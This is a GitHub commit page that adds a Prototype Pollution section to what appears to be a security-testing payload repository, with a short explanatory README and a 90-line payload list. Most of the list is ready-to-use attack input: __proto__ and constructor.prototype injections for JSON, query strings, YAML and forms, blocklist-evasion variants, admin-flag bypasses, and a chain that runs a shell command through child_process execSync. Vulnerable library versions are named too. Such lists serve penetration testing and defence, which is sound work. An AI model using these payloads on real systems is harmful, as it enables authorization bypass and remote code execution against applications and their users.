Skip to content

Commit 835cbf1

Browse files
harriiinnii0x5t4l1n
authored andcommitted
Add Prototype-Pollution category with payloads and docs
1 parent 896c92e commit 835cbf1

3 files changed

Lines changed: 115 additions & 0 deletions

File tree

Prototype-Pollution/README.md

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
# Prototype Pollution
2+
3+
## Description
4+
Prototype pollution is a JavaScript vulnerability that occurs when an attacker is able to inject properties into `Object.prototype` (or another object's prototype chain) via untrusted input. Because nearly every object in JavaScript inherits from `Object.prototype`, a polluted property can alter application behavior globally — enabling denial of service, property injection, authentication/authorization bypass, and in some cases remote code execution when the polluted property is later used in a dangerous sink (e.g. `eval`, `child_process`, template rendering, or `require` paths).
5+
6+
## Common Attack Vectors
7+
- JSON/query bodies parsed with unsafe merge or clone utilities (`extend`, `merge`, `deepMerge`, `lodash.merge`, `jQuery.extend`)
8+
- URL/query string parsers that decode `__proto__`, `constructor`, or `prototype` keys
9+
- YAML/JSON parsers that honor object keys verbatim
10+
- `Object.assign` / spread against attacker-controlled keys
11+
- Nested object assignment handled by custom recursive setters
12+
13+
## Common Techniques
14+
- `__proto__` key injection in JSON bodies
15+
- `constructor.prototype` climbing to reach `Object.prototype`
16+
- `prototype` key pollution in nested merge operations
17+
- DOM/clientside pollution that propagates into `Object.prototype`
18+
- Chained pollution that reaches a dangerous application sink
19+
20+
## Testing Approach
21+
Send crafted JSON/query parameters containing `__proto__`, `constructor`, and `prototype` keys at various nesting depths. Observe whether injected properties appear on plain `{}` objects created afterward (e.g. `({}).polluted === true`). Then map which polluted property the application later consumes in a security-sensitive decision (ACL flags, admin checks, template names).
22+
23+
## Payloads
24+
See `prototype-pollution-payloads.txt` for a comprehensive list of prototype pollution payloads.
Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
# Prototype Pollution Payloads
2+
3+
# Basic __proto__ injection (JSON body)
4+
{"__proto__": {"polluted": true}}
5+
{"__proto__": {"admin": true}}
6+
{"__proto__": {"isAdmin": true}}
7+
8+
# Nested __proto__ via merge utilities
9+
{"a": {"__proto__": {"polluted": true}}}
10+
{"user": {"__proto__": {"role": "admin"}}}
11+
{"data": {"__proto__": {"authenticated": true}}}
12+
13+
# constructor.prototype climbing
14+
{"constructor": {"prototype": {"polluted": true}}}
15+
{"x": {"constructor": {"prototype": {"admin": true}}}}
16+
{"a": {"b": {"constructor": {"prototype": {"isAdmin": true}}}}}
17+
18+
# prototype key pollution (dotted / bracketed)
19+
{"prototype": {"polluted": true}}
20+
{"a": {"prototype": {"role": "admin"}}}
21+
22+
# Query string / URL-encoded injection
23+
?__proto__[polluted]=true
24+
?__proto__[admin]=true
25+
?constructor[prototype][polluted]=true
26+
?__proto__.polluted=true
27+
?__proto__[isAdmin]=true&__proto__[role]=admin
28+
29+
# Array / bracket notation forms
30+
{"__proto__":[{"polluted":true}]}
31+
{"__proto__":["polluted"]}
32+
{"__proto__": {"x": "y"}, "normal": "value"}
33+
34+
# Deep nested pollution in recursive merges
35+
{"a": {"b": {"c": {"__proto__": {"polluted": true}}}}}
36+
{"level1": {"level2": {"level3": {"__proto__": {"admin": true}}}}}
37+
38+
# DOM / clientside pollution (browser location / postMessage)
39+
?__proto__[polluted]=true (reflected into Object.prototype via unsafe parse)
40+
<script>location.hash = '#__proto__[polluted]=true'</script>
41+
postMessage({"__proto__":{"polluted":true}}, "*")
42+
43+
# Pollution reaching dangerous sinks (examples of impact chains)
44+
{"__proto__": {"env": "production"}} # override environment config
45+
{"__proto__": {"NODE_ENV": "test"}} # change runtime mode
46+
{"__proto__": {"template": "malicious"}} # template name used by renderer
47+
{"__proto__": {"shell": "/bin/sh"}} # argument consumed by exec wrapper
48+
{"__proto__": {"transport": "file"}} # alter module/transport selection
49+
{"__proto__": {"outputFunctionName": "a=1;process.mainModule.require('child_process').execSync('id')"}}
50+
51+
# Known vulnerable library merge sinks (context)
52+
_.merge(target, payload) # lodash < 4.17.12 (CVE-2019-10744)
53+
_.defaultsDeep(target, payload) # lodash (CVE-2019-10744)
54+
$.extend(true, target, payload) # jQuery < 3.4.0 (CVE-2019-11358)
55+
extend(true, target, payload) # npm 'extend' < 3.0.2 (CVE-2018-16492)
56+
merge.deep(target, payload) # 'merge' < 2.1.1 (CVE-2019-12629)
57+
hoek.applyToDefaults(defaults, payload) # '@hapi/hoek' < 8.1.2 (CVE-2020-11618)
58+
59+
# Pollution via YAML / unsafe parsers
60+
__proto__:
61+
polluted: true
62+
constructor:
63+
prototype:
64+
admin: true
65+
66+
# Bypasses for naive blocklists
67+
{"__proto__ ": {"polluted": true}} # trailing space evades strict '== "__proto__"'
68+
{"__proto__\t": {"polluted": true}} # tab in key
69+
{"constructor.prototype": {"polluted": true}}
70+
{"this.__proto__": {"polluted": true}}
71+
72+
# Detection probes (safe, non-destructive)
73+
{"__proto__": {"__pollution_test__": "x"}}
74+
# After sending, check: ({}).__pollution_test__ === "x"
75+
# Or in browser console: Object.prototype.__pollution_test__ === "x"
76+
77+
# JSON with escaped unicode keys
78+
{"\u005f\u005fproto\u005f\u005f": {"polluted": true}}
79+
80+
# Multipart / form-encoded variants
81+
__proto__[polluted]=true
82+
constructor[prototype][polluted]=true
83+
84+
# Nested object with mixed safe + malicious keys
85+
{"name": "legit", "__proto__": {"polluted": true}}
86+
87+
# Polluted property used as a boolean ACL flag (common impact)
88+
{"__proto__": {"allowAdmin": true}}
89+
{"__proto__": {"canEdit": true}}
90+
{"__proto__": {"bypassAuth": true}}

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,7 @@ This repository contains a complete collection of testing payloads organized by
2121
- **[Log Injection](./Log-Injection/)** - Log file manipulation
2222
- **[XML Injection](./XML-Injection/)** - XML and XXE attacks
2323
- **[Prompt Injection](./Prompt-Injection/)** - AI/LLM prompt manipulation
24+
- **[Prototype Pollution](./Prototype-Pollution/)** - JavaScript prototype chain injection & impact chains
2425

2526
**Access Control Vulnerabilities:**
2627
- **[Path Traversal](./Path-Traversal/)** - Directory traversal attacks

0 commit comments

Comments
 (0)